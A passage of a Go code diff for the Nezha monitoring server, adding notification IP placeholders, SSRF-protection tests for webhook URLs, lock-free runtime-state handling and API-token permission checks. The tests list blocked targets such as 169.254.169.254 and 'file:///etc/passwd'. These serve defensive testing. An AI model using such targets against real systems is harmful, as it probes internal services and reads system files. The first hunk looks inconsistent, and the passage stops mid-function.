-284,6 +294,8 @@ func (ns *NotificationServerBundle) replaceParamsInString(str string, message st "#SERVER.NETOUTSPEED#", mod("0"), "#SERVER.TRANSFERINRAW#", mod("0"), "#SERVER.TRANSFEROUTRAW#", mod("0"), + "#SERVER.NETINTRANSFER#", mod("0"), + "#SERVER.NETOUTTRANSFER#", mod("0"), "#SERVER.UPTIME#", mod("0"), "#SERVER.MEMTOTAL#", mod("0"), "#SERVER.SWAPTOTAL#", mod("0"), @@ -319,6 +331,33 @@ func (ns *NotificationServerBundle) replaceParamsInString(str string, message st ) } + replacer := strings.NewReplacer(replacements...) + return replacer.Replace(str) +} + + var ipv4, ipv6, validIP string + if ns.Server.GeoIP != nil { + ip := ns.Server.GeoIP.IP + if ip.IPv4Addr != "" && ip.IPv6Addr != "" { + ipv4 = ip.IPv4Addr + ipv6 = ip.IPv6Addr + validIP = ipv4 + } else if ip.IPv4Addr != "" { + ipv4 = ip.IPv4Addr + validIP = ipv4 + } else { + ipv6 = ip.IPv6Addr + validIP = ipv6 + } + } + + replacements = append(replacements, + "#SERVER.IP#", mod(validIP), + "#SERVER.IPV4#", mod(ipv4), + "#SERVER.IPV6#", mod(ipv6), + ) + } + replacer := strings.NewReplacer(replacements...) return replacer.Replace(str) } diff --git a/model/notification_test.go b/model/notification_test.go index 5b7c1979..44e39f34 100644 --- a/model/notification_test.go +++ b/model/notification_test.go @@ -1,10 +1,13 @@ package model import ( + "io" "net/http" "strings" "testing" "time" + + "github.com/nezhahq/nezha/pkg/utils" ) var ( @@ -77,7 +80,6 @@ func execCase(t *testing.T, item testSt) { CountryCode: "", }, LastActive: time.Time{}, - TaskStream: nil, PrevTransferInSnapshot: 0, PrevTransferOutSnapshot: 0, } @@ -234,3 +236,135 @@ func TestNotification(t *testing.T) { execCase(t, c) } } + +func TestNotificationResponseErrorDoesNotReflectNonSuccessResponseBody(t *testing.T) { + const internalResponseBody = "internal service says token=secret" + + resp := &http.Response{ + StatusCode: http.StatusTeapot, + Status: "418 I'm a teapot", + Body: io.NopCloser(strings.NewReader(internalResponseBody)), + } + + err := notificationResponseError(resp) + if strings.Contains(err.Error(), internalResponseBody) { + t.Fatalf("expected upstream response body to be hidden from error, got %q", err.Error()) + } +} + +func TestNotificationSendRejectsLoopbackTarget(t *testing.T) { + verifyTLS := true + notification := &Notification{ + URL: "http://127.0.0.1/internal", + RequestMethod: NotificationRequestMethodGET, + VerifyTLS: &verifyTLS, + } + + bundle := NotificationServerBundle{ + Notification: notification, + Loc: time.Local, + } + + err := bundle.Send("probe") + if err == nil { + t.Fatal("expected loopback notification URL to be rejected") + } + if !strings.Contains(err.Error(), "not allowed") { + t.Fatalf("expected not allowed error, got %q", err.Error()) + } +} + +func TestNotificationTargetRejectsBlockedRanges(t *testing.T) { + cases := []string{ + "http://0.0.0.0/", + "http://10.1.2.3/", + "http://100.64.0.1/", + "http://127.0.0.1/", + "http://127.255.255.254/", + "http://169.254.169.254/", + "http://172.16.0.1/", + "http://192.0.0.1/", + "http://192.0.2.1/", + "http://192.168.1.1/", + "http://198.18.0.1/", + "http://198.51.100.1/", + "http://203.0.113.1/", + "http://224.0.0.1/", + "http://240.0.0.1/", + "http://[::]/", + "http://[::1]/", + "http://[::ffff:127.0.0.1]/", + "http://[64:ff9b::1]/", + "http://[100::1]/", + "http://[2001:0:0:0:0:0:0:1]/", + "http://[2001:db8::1]/", + "http://[fc00::1]/", + "http://[fe80::1]/", + "http://[ff00::1]/", + "ftp://example.com/", + "file:///etc/passwd", + "http:///path", + } + + for _, rawURL := range cases { + t.Run(rawURL, func(t *testing.T) { + if _, _, err := utils.ResolveAllowedHTTPURL(rawURL); err == nil { + t.Fatalf("expected %s to be rejected", rawURL) + } + }) + } +} + +func TestNotificationTargetAllowsPublicAddresses(t *testing.T) { + cases := []string{ + "http://1.1.1.1/path", + "https://8.8.8.8/", + "https://[2606:4700:4700::1111]/", + } + + for _, rawURL := range cases { + t.Run(rawURL, func(t *testing.T) { + parsedURL, _, err := utils.ResolveAllowedHTTPURL(rawURL) + if err != nil { + t.Fatalf("expected %s to be allowed, got %v", rawURL, err) + } + if parsedURL == nil { + t.Fatalf("expected parsed url for %s", rawURL) + } + }) + } +} + +func TestNotificationHTTPClientInvertsVerifyTLSFlag(t *testing.T) { + // newNotificationHTTPClient takes verifyTLS, utils.NewRestrictedHTTPClient + // takes skipVerifyTLS. The wrapper must invert the boolean; if a future + // refactor drops the negation, TLS verification silently turns off. + // SNI / redirect / IP-pinning are covered by pkg/utils/http_test.go. + cases := []struct { + name string + verifyTLS bool + wantSkipVerifyOn bool + }{ + {"verifyTLS_true_means_skipVerify_false", true, false}, + {"verifyTLS_false_means_skipVerify_true", false, true}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + client, err := newNotificationHTTPClient("https://1.1.1.1/webhook", tc.verifyTLS) + if err != nil { + t.Fatalf("expected client construction: %v", err) + } + transport, ok := client.Transport.(*http.Transport) + if !ok { + t.Fatalf("expected *http.Transport, got %T", client.Transport) + } + if transport.TLSClientConfig == nil { + t.Fatalf("expected TLSClientConfig to be set") + } + if got := transport.TLSClientConfig.InsecureSkipVerify; got != tc.wantSkipVerifyOn { + t.Fatalf("verifyTLS=%v: expected InsecureSkipVerify=%v, got %v", + tc.verifyTLS, tc.wantSkipVerifyOn, got) + } + }) + } +} diff --git a/model/rule.go b/model/rule.go index 81592196..e069eef5 100644 --- a/model/rule.go +++ b/model/rule.go @@ -62,73 +62,87 @@ func (u *Rule) Snapshot(cycleTransferStats *CycleTransferStats, server *Server, } var src float64 + runtime := server.RuntimeSnapshot() + if runtime.State == nil { + return false + } + state := runtime.State switch u.Type { case "cpu": - src = float64(server.State.CPU) + src = float64(state.CPU) case "gpu_max": - src = slices.Max(server.State.GPU) + src = slices.Max(state.GPU) case "memory": - src = percentage(server.State.MemUsed, server.Host.MemTotal) + if runtime.Host == nil { + return false + } + src = percentage(state.MemUsed, runtime.Host.MemTotal) case "swap": - src = percentage(server.State.SwapUsed, server.Host.SwapTotal) + if runtime.Host == nil { + return false + } + src = percentage(state.SwapUsed, runtime.Host.SwapTotal) case "disk": - src = percentage(server.State.DiskUsed, server.Host.DiskTotal) + if runtime.Host == nil { + return false + } + src = percentage(state.DiskUsed, runtime.Host.DiskTotal) case "net_in_speed": - src = float64(server.State.NetInSpeed) + src = float64(state.NetInSpeed) case "net_out_speed": - src = float64(server.State.NetOutSpeed) + src = float64(state.NetOutSpeed) case "net_all_speed": - src = float64(server.State.NetOutSpeed + server.State.NetOutSpeed) + src = float64(state.NetOutSpeed + state.NetOutSpeed) case "transfer_in": - src = float64(server.State.NetInTransfer) + src = float64(state.NetInTransfer) case "transfer_out": - src = float64(server.State.NetOutTransfer) + src = float64(state.NetOutTransfer) case "transfer_all": - src = float64(server.State.NetOutTransfer + server.State.NetInTransfer) + src = float64(state.NetOutTransfer + state.NetInTransfer) case "offline": - if server.LastActive.IsZero() { + if runtime.LastActive.IsZero() { src = 0 } else { - src = float64(server.LastActive.Unix()) + src = float64(runtime.LastActive.Unix()) } case "transfer_in_cycle": - src = float64(utils.SubUintChecked(server.State.NetInTransfer, server.PrevTransferInSnapshot)) + src = float64(utils.SubUintChecked(state.NetInTransfer, runtime.PrevTransferInSnapshot)) if u.CycleInterval != 0 { var res NResult db.Model(&Transfer{}).Select("SUM(`in`) AS n").Where("datetime(`created_at`) >= datetime(?) AND server_id = ?", u.GetTransferDurationStart().UTC(), server.ID).Scan(&res) src += float64(res.N) } case "transfer_out_cycle": - src = float64(utils.SubUintChecked(server.State.NetOutTransfer, server.PrevTransferOutSnapshot)) + src = float64(utils.SubUintChecked(state.NetOutTransfer, runtime.PrevTransferOutSnapshot)) if u.CycleInterval != 0 { var res NResult db.Model(&Transfer{}).Select("SUM(`out`) AS n").Where("datetime(`created_at`) >= datetime(?) AND server_id = ?", u.GetTransferDurationStart().UTC(), server.ID).Scan(&res) src += float64(res.N) } case "transfer_all_cycle": - src = float64(utils.SubUintChecked(server.State.NetOutTransfer, server.PrevTransferOutSnapshot) + utils.SubUintChecked(server.State.NetInTransfer, server.PrevTransferInSnapshot)) + src = float64(utils.SubUintChecked(state.NetOutTransfer, runtime.PrevTransferOutSnapshot) + utils.SubUintChecked(state.NetInTransfer, runtime.PrevTransferInSnapshot)) if u.CycleInterval != 0 { var res NResult db.Model(&Transfer{}).Select("SUM(`in`+`out`) AS n").Where("datetime(`created_at`) >= datetime(?) AND server_id = ?", u.GetTransferDurationStart().UTC(), server.ID).Scan(&res) src += float64(res.N) } case "load1": - src = server.State.Load1 + src = state.Load1 case "load5": - src = server.State.Load5 + src = state.Load5 case "load15": - src = server.State.Load15 + src = state.Load15 case "tcp_conn_count": - src = float64(server.State.TcpConnCount) + src = float64(state.TcpConnCount) case "udp_conn_count": - src = float64(server.State.UdpConnCount) + src = float64(state.UdpConnCount) case "process_count": - src = float64(server.State.ProcessCount) + src = float64(state.ProcessCount) case "temperature_max": var temp []float64 - if server.State.Temperatures != nil { - for _, tempStat := range server.State.Temperatures { + if state.Temperatures != nil { + for _, tempStat := range state.Temperatures { if tempStat.Temperature != 0 { temp = append(temp, tempStat.Temperature) } diff --git a/model/server.go b/model/server.go index 91eb7f4f..16a4cca2 100644 --- a/model/server.go +++ b/model/server.go @@ -1,10 +1,14 @@ package model import ( + "errors" "log" "slices" + "sync" + "sync/atomic" "time" + "github.com/gin-gonic/gin" "github.com/goccy/go-json" "gorm.io/datatypes" "gorm.io/gorm" @@ -12,6 +16,8 @@ import ( pb "github.com/nezhahq/nezha/proto" ) +var runtimeHolderInitMu sync.Mutex + type Server struct { Common @@ -34,29 +40,466 @@ type Server struct { GeoIP *GeoIP `gorm:"-" json:"geoip,omitempty"` LastActive time.Time `gorm:"-" json:"last_active,omitempty"` - TaskStream pb.NezhaService_RequestTaskServer `gorm:"-" json:"-"` - ConfigCache chan any `gorm:"-" json:"-"` + // taskStream MUST be accessed only via SetTaskStream / GetTaskStream. Direct + // field access from outside this file races with the gRPC RequestTask + // handler that reassigns the stream on every reconnect — a torn read of the + // two-word interface header would panic on a subsequent .Send call. The + // atomic.Pointer + holder struct lets us swap the stream lock-free while + // every reader observes a single, consistent value. The holder also carries + // the send mutex so CopyFromRunningServer can share it across the old/new + // *Server objects that briefly co-exist during edit/transfer rotations — + // otherwise two *Server pointers would hold the same gRPC stream behind + // two independent mutexes, defeating the "one SendMsg goroutine per stream" + // invariant grpc-go requires. + taskStream atomic.Pointer[taskStreamHolder] + runtime atomic.Pointer[serverRuntimeHolder] + ConfigCache chan any `gorm:"-" json:"-"` PrevTransferInSnapshot uint64 `gorm:"-" json:"-"` // 上次数据点时的入站使用量 PrevTransferOutSnapshot uint64 `gorm:"-" json:"-"` // 上次数据点时的出站使用量 } +// taskStreamHolder wraps the interface so atomic.Pointer (which requires a +// concrete pointed-to type) can publish it atomically. The previous bare +// field `TaskStream pb.NezhaService_RequestTaskServer` was a plain interface +// value: two words on the heap (type ptr + data ptr). Concurrent assignment +// produced torn reads detectable by `go test -race` and crashable in production. +// +// sendMu lives on the holder (not on *Server) so it is bound to the stream +// itself: CopyFromRunningServer shares the same holder pointer with the new +// *Server, and SendTask locks via the holder, guaranteeing serialized SendMsg +// even when old/new *Server objects briefly co-exist during edit/transfer. +type taskStreamHolder struct { + s pb.NezhaService_RequestTaskServer + sendMu sync.Mutex +} + +type serverRuntimeHolder struct { + mu sync.Mutex + canonical *Server + stream pb.NezhaService_ReportSystemStateServer + generation uint64 + state *HostState + host *Host + lastActive time.Time + prevIn uint64 + prevOut uint64 +} + +type StateStreamLease struct { + holder *serverRuntimeHolder + generation uint64 +} + +func (lease StateStreamLease) Generation() uint64 { + return lease.generation +} + +type RuntimeHandle struct { + holder *serverRuntimeHolder +} + +type HostReportResult struct { + ServerID uint64 + UUID string + Applied bool + Initial bool + Equal bool + Stale bool + Restart bool + Transfer Transfer +} + +func (s *Server) RuntimeHandle() RuntimeHandle { + runtimeHolderInitMu.Lock() + holder := s.runtime.Load() + if holder == nil { + holder = &serverRuntimeHolder{canonical: s, state: cloneHostState(s.State), host: cloneHost(s.Host), lastActive: s.LastActive, prevIn: s.PrevTransferInSnapshot, prevOut: s.PrevTransferOutSnapshot} + s.runtime.Store(holder) + } + runtimeHolderInitMu.Unlock() + return RuntimeHandle{holder: holder} +} + +func (handle RuntimeHandle) ApplyHostReport(host *Host, createdAt time.Time, persist func(Transfer) error) (HostReportResult, error) { + if handle.holder == nil || host == nil { + return HostReportResult{}, errors.New("invalid runtime handle") + } + holder := handle.holder + holder.mu.Lock() + defer holder.mu.Unlock() + canonical := holder.canonical + if canonical == nil { + return HostReportResult{}, errors.New("runtime handle has no canonical server") + } + result := HostReportResult{ServerID: canonical.ID, UUID: canonical.UUID} + if holder.host == nil { + holder.host = cloneHost(host) + canonical.Host = cloneHost(host) + result.Applied = true + result.Initial = true + return result, nil + } + if host.BootTime < holder.host.BootTime { + result.Stale = true + return result, nil + } + if host.BootTime == holder.host.BootTime { + holder.host = cloneHost(host) + canonical.Host = cloneHost(host) + result.Applied = true + result.Equal = true + return result, nil + } + result.Restart = true + if holder.state != nil { + result.Transfer = Transfer{Common: Common{CreatedAt: createdAt}, ServerID: canonical.ID, In: holder.state.NetInTransfer - min(holder.state.NetInTransfer, holder.prevIn), Out: holder.state.NetOutTransfer - min(holder.state.NetOutTransfer, holder.prevOut)} + } + if persist != nil { + if err := persist(result.Transfer); err != nil { + return HostReportResult{}, err + } + } + holder.host = cloneHost(host) + holder.state = &HostState{} + holder.lastActive = time.Time{} + holder.prevIn, holder.prevOut = 0, 0 + canonical.Host = cloneHost(host) + canonical.State = &HostState{} + canonical.LastActive = time.Time{} + canonical.PrevTransferInSnapshot = 0 + canonical.PrevTransferOutSnapshot = 0 + result.Applied = true + return result, nil +} + +func (lease StateStreamLease) UpdateState(state *HostState, lastActive time.Time) bool { + return lease.UpdateStateWithSideEffect(state, lastActive, nil) +} + +func (lease StateStreamLease) UpdateStateWithSideEffect(state *HostState, lastActive time.Time, sideEffect func() error) bool { + return lease.updateState(nil, state, lastActive, sideEffect) +} + +func (lease StateStreamLease) updateState(receiver *Server, state *HostState, lastActive time.Time, sideEffect func() error) bool { + if lease.holder == nil { + return false + } + lease.holder.mu.Lock() + defer lease.holder.mu.Unlock() + if lease.holder.generation != lease.generation || lease.holder.stream == nil || lease.holder.canonical == nil || (receiver != nil && lease.holder.canonical != receiver) { + return false + } + canonical := lease.holder.canonical + canonical.State = cloneHostState(state) + canonical.LastActive = lastActive + lease.holder.state = cloneHostState(state) + lease.holder.lastActive = lastActive + if lease.holder.prevIn == 0 || lease.holder.prevOut == 0 { + lease.holder.prevIn = state.NetInTransfer + lease.holder.prevOut = state.NetOutTransfer + } + canonical.PrevTransferInSnapshot = lease.holder.prevIn + canonical.PrevTransferOutSnapshot = lease.holder.prevOut + if sideEffect != nil { + if err := sideEffect(); err != nil { + return false + } + } + return true +} + +func (lease StateStreamLease) Clear() bool { + return lease.clear(nil) +} + +func (lease StateStreamLease) clear(receiver *Server) bool { + if lease.holder == nil { + return false + } + lease.holder.mu.Lock() + defer lease.holder.mu.Unlock() + if lease.holder.generation != lease.generation || lease.holder.stream == nil || lease.holder.canonical == nil || (receiver != nil && lease.holder.canonical != receiver) { + return false + } + lease.holder.stream = nil + lease.holder.lastActive = time.Time{} + lease.holder.canonical.LastActive = time.Time{} + return true +} + +// SetTaskStream publishes the agent's RequestTask stream so other goroutines +// can deliver tasks to the agent. Pass nil to detach (e.g. on disconnect). +func (s *Server) SetTaskStream(stream pb.NezhaService_RequestTaskServer) { + if stream == nil { + s.taskStream.Store(nil) + return + } + s.taskStream.Store(&taskStreamHolder{s: stream}) +} + +// adoptTaskStreamHolder publishes an existing holder verbatim. Used by +// CopyFromRunningServer so the new *Server shares the send mutex (and the +// underlying stream identity) with the old *Server. +func (s *Server) adoptTaskStreamHolder(h *taskStreamHolder) { + s.taskStream.Store(h) +} + +// ClearTaskStreamIfCurrent detaches stream only if it is still the published +// RequestTask stream. Disconnect cleanup uses this guard so an old stream +// returning after a reconnect cannot erase the newer live stream. +func (s *Server) ClearTaskStreamIfCurrent(stream pb.NezhaService_RequestTaskServer) bool { + if stream == nil { + return false + } + for { + h := s.taskStream.Load() + if h == nil || h.s != stream { + return false + } + if s.taskStream.CompareAndSwap(h, nil) { + return true + } + } +} + +// GetTaskStream returns the currently-published stream, or nil if the agent +// is offline. Callers MUST capture the return into a local variable before +// using it — re-reading via GetTaskStream() across a Send call reopens the +// race we're trying to close. +func (s *Server) GetTaskStream() pb.NezhaService_RequestTaskServer { + h := s.taskStream.Load() + if h == nil { + return nil + } + return h.s +} + +// SendTask dispatches a task on the agent's RequestTask stream under the +// holder's sendMu so concurrent dispatchers (cron, server-transfer +// ApplyConfig, MCP CallAgent, MCP fs.transfer, force-update, report-config) +// cannot violate grpc-go's "one SendMsg goroutine per stream" rule. Returns +// ErrTaskStreamOffline if the agent has not published a stream yet; callers +// that need to distinguish offline from send failure should branch on that. +// +// The mutex is keyed by holder (= by stream) rather than by *Server so that +// edit/transfer rotations replacing *Server in the singleton map still share +// a single lock across the old and new objects pointing at the same stream. +func (s *Server) SendTask(task *pb.Task) error { + h := s.taskStream.Load() + if h == nil { + return ErrTaskStreamOffline + } + h.sendMu.Lock() + defer h.sendMu.Unlock() + return h.s.Send(task) +} + +// AttachStateStream returns the ownership generation used to serialize state +// writes with reconnect and disconnect cleanup. +func (s *Server) AttachStateStream(stream pb.NezhaService_ReportSystemStateServer) StateStreamLease { + if stream == nil { + return StateStreamLease{} + } + runtimeHolderInitMu.Lock() + defer runtimeHolderInitMu.Unlock() + holder := s.runtime.Load() + if holder == nil { + candidate := &serverRuntimeHolder{canonical: s, state: cloneHostState(s.State), host: cloneHost(s.Host), lastActive: s.LastActive, prevIn: s.PrevTransferInSnapshot, prevOut: s.PrevTransferOutSnapshot} + if s.runtime.CompareAndSwap(nil, candidate) { + holder = candidate + } else { + holder = s.runtime.Load() + } + } + holder.mu.Lock() + defer holder.mu.Unlock() + holder.generation++ + holder.stream = stream + return StateStreamLease{holder: holder, generation: holder.generation} +} + +func (s *Server) UpdateStateIfCurrent(lease StateStreamLease, state *HostState, lastActive time.Time) bool { + return s.UpdateStateIfCurrentWithSideEffect(lease, state, lastActive, nil) +} + +func (s *Server) UpdateStateIfCurrentWithSideEffect(lease StateStreamLease, state *HostState, lastActive time.Time, sideEffect func() error) bool { + return lease.updateState(s, state, lastActive, sideEffect) +} + +func (s *Server) ClearStateStreamIfCurrent(lease StateStreamLease) bool { + return lease.clear(s) +} + +// RuntimeSnapshot is a deep copy of the mutable runtime state. +type RuntimeSnapshot struct { + State *HostState + Host *Host + LastActive time.Time + PrevTransferInSnapshot uint64 + PrevTransferOutSnapshot uint64 +} + +func (s *Server) RuntimeSnapshot() RuntimeSnapshot { + runtimeHolderInitMu.Lock() + holder := s.runtime.Load() + if holder == nil { + candidate := &serverRuntimeHolder{canonical: s, state: cloneHostState(s.State), lastActive: s.LastActive, prevIn: s.PrevTransferInSnapshot, prevOut: s.PrevTransferOutSnapshot} + if s.runtime.CompareAndSwap(nil, candidate) { + holder = candidate + } else { + holder = s.runtime.Load() + } + } + runtimeHolderInitMu.Unlock() + holder.mu.Lock() + defer holder.mu.Unlock() + if holder.canonical == s { + if holder.state == nil { + holder.state = cloneHostState(s.State) + } + if holder.host == nil { + holder.host = cloneHost(s.Host) + } + } + return RuntimeSnapshot{State: cloneHostState(holder.state), Host: cloneHost(holder.host), LastActive: holder.lastActive, PrevTransferInSnapshot: holder.prevIn, PrevTransferOutSnapshot: holder.prevOut} +} + +func (s *Server) SetTransferSnapshots(inbound, outbound uint64) bool { + runtimeHolderInitMu.Lock() + holder := s.runtime.Load() + if holder == nil { + holder = &serverRuntimeHolder{canonical: s, state: cloneHostState(s.State), lastActive: s.LastActive} + s.runtime.Store(holder) + } + runtimeHolderInitMu.Unlock() + holder.mu.Lock() + if holder.canonical != s { + holder.mu.Unlock() + return false + } + holder.prevIn = inbound + holder.prevOut = outbound + if holder.canonical != nil { + holder.canonical.PrevTransferInSnapshot = inbound + holder.canonical.PrevTransferOutSnapshot = outbound + } + holder.mu.Unlock() + return true +} + +func (s *Server) TransferSnapshotDelta() (inbound, outbound, snapshotIn, snapshotOut uint64) { + snapshot := s.RuntimeSnapshot() + if snapshot.State == nil { + return 0, 0, snapshot.PrevTransferInSnapshot, snapshot.PrevTransferOutSnapshot + } + return snapshot.State.NetInTransfer, snapshot.State.NetOutTransfer, snapshot.PrevTransferInSnapshot, snapshot.PrevTransferOutSnapshot +} + +func (s *Server) TransferDeltaAndAdvance() (inbound, outbound uint64, deltaIn, deltaOut uint64) { + runtimeHolderInitMu.Lock() + holder := s.runtime.Load() + if holder == nil { + holder = &serverRuntimeHolder{canonical: s, state: cloneHostState(s.State), host: cloneHost(s.Host), lastActive: s.LastActive, prevIn: s.PrevTransferInSnapshot, prevOut: s.PrevTransferOutSnapshot} + s.runtime.Store(holder) + } + runtimeHolderInitMu.Unlock() + holder.mu.Lock() + defer holder.mu.Unlock() + if holder.canonical != s || holder.state == nil { + return 0, 0, 0, 0 + } + inbound, outbound = holder.state.NetInTransfer, holder.state.NetOutTransfer + deltaIn = inbound - min(inbound, holder.prevIn) + deltaOut = outbound - min(outbound, holder.prevOut) + holder.prevIn, holder.prevOut = inbound, outbound + if holder.canonical != nil { + holder.canonical.PrevTransferInSnapshot = inbound + holder.canonical.PrevTransferOutSnapshot = outbound + } + return +} + +func cloneHostState(state *HostState) *HostState { + if state == nil { + return nil + } + clone := *state + clone.GPU = slices.Clone(state.GPU) + clone.Temperatures = slices.Clone(state.Temperatures) + return &clone +} + +func cloneHost(host *Host) *Host { + if host == nil { + return nil + } + clone := *host + clone.CPU = slices.Clone(host.CPU) + clone.GPU = slices.Clone(host.GPU) + return &clone +} + +func (s *Server) SetHost(host *Host) bool { + runtimeHolderInitMu.Lock() + holder := s.runtime.Load() + if holder == nil { + holder = &serverRuntimeHolder{canonical: s, state: cloneHostState(s.State), lastActive: s.LastActive} + s.runtime.Store(holder) + } + runtimeHolderInitMu.Unlock() + holder.mu.Lock() + if holder.canonical != s { + holder.mu.Unlock() + return false + } + holder.host = cloneHost(host) + if holder.canonical != nil { + holder.canonical.Host = cloneHost(host) + } + holder.mu.Unlock() + return true +} + +// ErrTaskStreamOffline is returned by SendTask when the agent has no +// published RequestTask stream. Defined here (rather than in service/rpc) +// so model-layer callers can branch on it without an import cycle. +var ErrTaskStreamOffline = errors.New("agent task stream offline") + func InitServer(s *Server) { s.Host = &Host{} s.State = &HostState{} s.GeoIP = &GeoIP{} s.ConfigCache = make(chan any, 1) + s.runtime.Store(&serverRuntimeHolder{canonical: s, state: cloneHostState(s.State), host: cloneHost(s.Host)}) } func (s *Server) CopyFromRunningServer(old *Server) { - s.Host = old.Host - s.State = old.State + runtimeHolderInitMu.Lock() + defer runtimeHolderInitMu.Unlock() s.GeoIP = old.GeoIP - s.LastActive = old.LastActive - s.TaskStream = old.TaskStream + // Adopt the holder pointer verbatim so the new *Server shares the send + // mutex AND the stream identity with the old *Server; constructing a fresh + // holder via SetTaskStream(GetTaskStream()) would give the new object its + // own mutex, letting two *Server pointers race SendMsg on the same stream + // during the edit/transfer rotation window. + s.adoptTaskStreamHolder(old.taskStream.Load()) + holder := old.runtime.Load() + if holder == nil { + holder = &serverRuntimeHolder{canonical: old, state: cloneHostState(old.State), host: cloneHost(old.Host), lastActive: old.LastActive, prevIn: old.PrevTransferInSnapshot, prevOut: old.PrevTransferOutSnapshot} + old.runtime.CompareAndSwap(nil, holder) + holder = old.runtime.Load() + } + holder.mu.Lock() + holder.canonical = s + s.runtime.Store(holder) + s.State = cloneHostState(holder.state) + s.Host = cloneHost(holder.host) + s.LastActive = holder.lastActive + s.PrevTransferInSnapshot = holder.prevIn + s.PrevTransferOutSnapshot = holder.prevOut + holder.mu.Unlock() s.ConfigCache = old.ConfigCache - s.PrevTransferInSnapshot = old.PrevTransferInSnapshot - s.PrevTransferOutSnapshot = old.PrevTransferOutSnapshot } func (s *Server) AfterFind(tx *gorm.DB) error { @@ -75,6 +518,195 @@ func (s *Server) AfterFind(tx *gorm.DB) error { return nil } +// ServerOwnerInfo carries the user-facing identity for Server.UserID. It is +// returned by the lookup function installed by the singleton layer; model +// must not import singleton (cycle), so the dependency flows through a +// package-level function variable instead. +type ServerOwnerInfo struct { + ID uint64 `json:"id"` + Username string `json:"username,omitempty"` +} + +// ServerOwnerLookup is installed by singleton at startup to resolve a +// Server.UserID into a display-ready owner record. Returns ok=false when +// the uid does not map to a known user; the caller renders that as an +// "unknown user" placeholder so deleted-user rows stay debuggable. Left nil +// in tests / headless contexts so the JSON simply omits the owner field. +var ServerOwnerLookup func(uid uint64) (ServerOwnerInfo, bool) + +// OwnerServerIDsLookup is installed by singleton at startup to enumerate the +// IDs of every in-memory Server whose UserID == ownerUID. It exists so that +// Cron.HasPermission / Service.HasPermission can faithfully replay the +// dispatch-side "CoverAll deny-list must cover every PAT-whitelisted-out +// owner server" rule without depending on controller helpers (model must +// not import service/singleton — cycle). +// +// Left nil in tests / headless contexts; callers MUST treat a nil hook as +// "unknown owner topology" and fall back to a conservative decision (the +// existing model.Cron / model.Service code rejects non-trivial CoverAll +// configs for limited PATs when the hook is nil, matching the historical +// behaviour for empty deny-lists). +var OwnerServerIDsLookup func(ownerUID uint64) []uint64 + +// OwnerIsAdminLookup reports whether ownerUID is an admin user. When the +// owner is admin the runtime dispatch path (CronTrigger, DispatchTask) gates +// on userIsAdmin(cr.UserID) / userIsAdmin(svc.UserID) and fans out across +// EVERY in-memory server — not just the owner's. DenyListSafeForLimitedPAT +// must mirror that fan-out widening or a limited PAT can pass safety check +// with a deny-list that covers only the admin's own servers while the +// runtime still ships the task to foreign-owned servers. +// +// Left nil in tests / headless contexts; callers fall back to +// "owner-set only" which matches the pre-C1 behaviour. +var OwnerIsAdminLookup func(ownerUID uint64) bool + +// AllServerIDsLookup returns every in-memory server ID, regardless of +// owner. It is the system-wide fan-out set the runtime uses for +// admin-owned CoverAll cron/service dispatch and is the only correct +// containment set for a server-limited PAT operating on an admin-owned +// resource. Left nil in tests / headless contexts. +var AllServerIDsLookup func() []uint64 + +type serverJSON Server + +type serverWithOwner struct { + *serverJSON + Owner *ServerOwnerInfo `json:"owner,omitempty"` +} + +// MarshalJSON projects Server.UserID into a structured owner field on the +// wire. Server.UserID itself stays `json:"-"` (set on Common) so callers +// that do not need owner info pay nothing and members do not accidentally +// receive raw uid integers. The lookup function is consulted only when +// installed; if absent we still emit a minimal {id} record so clients can +// at least distinguish ownership, except for uid=0 which is the legacy +// global-secret pseudo-owner and is best surfaced as such by the caller's +// translation table on the frontend. +func (s *Server) MarshalJSON() ([]byte, error) { + runtime := s.RuntimeSnapshot() + copy := s.RuntimeCopy(runtime) + owner := &ServerOwnerInfo{ID: s.GetUserID()} + if ServerOwnerLookup != nil { + if info, ok := ServerOwnerLookup(owner.ID); ok { + owner.Username = info.Username + } + } + return json.Marshal(serverWithOwner{ + serverJSON: (*serverJSON)(copy), + Owner: owner, + }) +} + +func (s *Server) RuntimeCopy(runtime RuntimeSnapshot) *Server { + return &Server{ + Common: Common{ + ID: s.ID, + CreatedAt: s.CreatedAt, + UpdatedAt: s.UpdatedAt, + UserID: s.GetUserID(), + }, + Name: s.Name, + UUID: s.UUID, + Note: s.Note, + PublicNote: s.PublicNote, + DisplayIndex: s.DisplayIndex, + HideForGuest: s.HideForGuest, + EnableDDNS: s.EnableDDNS, + DDNSProfilesRaw: s.DDNSProfilesRaw, + OverrideDDNSDomainsRaw: s.OverrideDDNSDomainsRaw, + DDNSProfiles: slices.Clone(s.DDNSProfiles), + OverrideDDNSDomains: s.OverrideDDNSDomains, + Host: runtime.Host, + State: runtime.State, + GeoIP: s.GeoIP, + LastActive: runtime.LastActive, + ConfigCache: s.ConfigCache, + PrevTransferInSnapshot: runtime.PrevTransferInSnapshot, + PrevTransferOutSnapshot: runtime.PrevTransferOutSnapshot, + } +} + +func (s *Server) HasPermission(ctx *gin.Context) bool { + if !s.Common.HasPermission(ctx) { + return false + } + v, ok := ctx.Get(CtxKeyAPIToken) + if !ok { + return true + } + tok, ok := v.(APITokenAccessor) + if !ok || tok == nil { + return true + } + return tok.CanAccessServer(s.GetID()) +} + +// APITokenWhitelistView is the optional shape an APITokenAccessor can +// implement so DenyListSafeForLimitedPAT can tell unscoped PATs (no +// whitelist → not limited) apart from server-limited ones. Accessors that +// do NOT expose ServerIDs() are treated as potentially limited; the safe +// dispatch path then requires denyList to cover every owner-visible server +// outside what the PAT can reach. +type APITokenWhitelistView interface { + ServerIDs() []uint64 +} + +// DenyListSafeForLimitedPAT reports whether a CoverAll/SkipServers deny-list +// keeps a server-limited PAT inside its server_ids whitelist. The runtime +// dispatch path (CronTrigger, DispatchTask) iterates every owner-visible +// server minus denyList; for the PAT to stay contained, every owner server +// outside its whitelist must already appear in denyList. JWT requests and +// PATs with no whitelist are unaffected. Nil OwnerServerIDsLookup forces +// the conservative "reject" branch instead of silently allowing a config +// the runtime would dispatch outside the whitelist. +func DenyListSafeForLimitedPAT(tok APITokenAccessor, ownerUID uint64, denyServers []uint64) bool { + if tok == nil { + return true + } + if wl, ok := tok.(APITokenWhitelistView); ok && len(wl.ServerIDs()) == 0 { + return true + } + fanout := ownerEffectiveFanoutServerIDs(ownerUID) + if fanout == nil { + return false + } + denySet := make(map[uint64]struct{}, len(denyServers)) + for _, id := range denyServers { + denySet[id] = struct{}{} + } + for _, id := range fanout { + if tok.CanAccessServer(id) { + continue + } + if _, denied := denySet[id]; !denied { 